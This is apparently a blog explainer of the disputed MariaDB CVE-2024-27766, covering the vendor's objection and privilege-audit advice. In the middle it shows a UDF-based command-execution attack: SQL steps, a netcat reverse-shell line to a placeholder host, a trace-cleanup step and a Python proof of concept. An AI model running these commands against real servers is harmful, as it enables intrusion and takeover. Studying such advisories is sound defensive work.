CVE-2024-27766 - MariaDB v11.1 Remote Code Execution via `lib_mysqludf_sys.so` — Understanding the Risks, Disputes, and Exploit Demonstration

In early 2024, a vulnerability was reported as CVE-2024-27766, affecting MariaDB version 11.1. According to the initial report, a remote attacker could potentially execute arbitrary code on the database server by using the lib_mysqludf_sys.so library. While the potential impact is severe, the MariaDB Foundation disputes this classification, arguing that no privilege boundary is actually crossed in practice.

What is CVE-2024-27766?

The vulnerability is tied to the way MariaDB can load and execute User Defined Functions (UDFs) from shared object files (.so), specifically lib_mysqludf_sys.so. This dynamic library comes with a set of functions like sys_eval() and sys_exec(), which can be abused to run system commands directly from SQL queries.

If a remote attacker has enough privileges on a MariaDB instance, they can use these UDFs to execute shell commands, which could lead to full remote code execution (RCE) on the server. However, these functions are not installed by default — they require privileges like FILE and CREATE FUNCTION.

Disputed Nature:
The MariaDB Foundation claims [1] that "no privilege boundary is crossed," meaning that only users who can already create UDFs (and have administrative FILE access) could pull this off, which is already a serious level of access.

1. Create a Malicious UDF Function

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

This line tells MariaDB to load the sys_eval function from the specified shared object.

Now, you can run any shell command

SELECT sys_eval('whoami');

Or download and launch ransomware, crypto miners, or establish a reverse shell connection

SELECT sys_eval('nc example.com 4444 -e /bin/bash');

An attacker may try to hide their tracks

DROP FUNCTION sys_eval;

Example Exploit Code

Below is a simple Python POC using PyMySQL to exploit this vulnerability, assuming the attacker has valid credentials and enough rights:

import pymysql

# Change these as needed
host = 'victim-db-host'
user = 'attacker'
password = 'password'
db = 'test'

conn = pymysql.connect(host=host, user=user, password=password, database=db)
cur = conn.cursor()

# 1. Attempt to create UDF
try:
    cur.execute("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';")
except Exception as e:
    print("Function may already exist or insufficient privileges:", e)

# 2. Run a system command (this could be anything)
cur.execute("SELECT sys_eval('id');")
print("System command output:", cur.fetchall())

# 3. (Optional) Cleanup
#cur.execute("DROP FUNCTION sys_eval;")

conn.close()

Note:
- This will only work if the lib_mysqludf_sys.so file exists in MariaDB's plugin path and the MariaDB user has FILE and CREATE FUNCTION privileges.

The official response from MariaDB says

> “This is not a vulnerability in MariaDB itself because only users with privilege to load plugins or UDFs can exploit it... There is no privilege escalation here, as only DBAs could do this.”

In short, the MariaDB Foundation's argument is that anyone who can run this exploit already has complete control over the server via other means. Therefore, from their security policy, no privilege boundary is crossed — which is a key test in CVE assignment.

Real-World Risk

Is it actually dangerous?

For *secured* deployments: Not likely.

- For *shared* hosting, multi-tenant DBs, or misconfigured MariaDBs that grant FILE or CREATE FUNCTION: Yes, this could be leveraged for full RCE.

If remote attackers can upload their own plugin (e.g., a malicious .so file): Very bad.

How would attackers gain initial access?

References and Further Reading

- CVE-2024-27766 at NIST NVD
- MariaDB Jira on the issue (MDEV-33285)
- lib_mysqludf_sys GitHub
- SecLists: MySQL / MariaDB UDF Cheatsheet
- Official MariaDB Documentation: User-Defined Functions

Conclusion

CVE-2024-27766 highlights a classic database issue: "dangerous tools available to powerful users." While it's technically possible to get RCE using these steps, only users with powerful, administrative rights can do it. If you restrict dangerous privileges and monitor your database installations, this "vulnerability" shouldn't cause you trouble.

Still, all DBAs and sysadmins should be aware of the risks and regularly audit privileges—especially on older or less-maintained systems. Don't let dangerous functions sneak into your infrastructure!


Did you find this guide useful? Share your feedback and stay tuned for more deep dives into real-world CVEs!

Timeline

Published on: 10/17/2024 22:15:02 UTC
Last modified on: 10/21/2024 00:15:12 UTC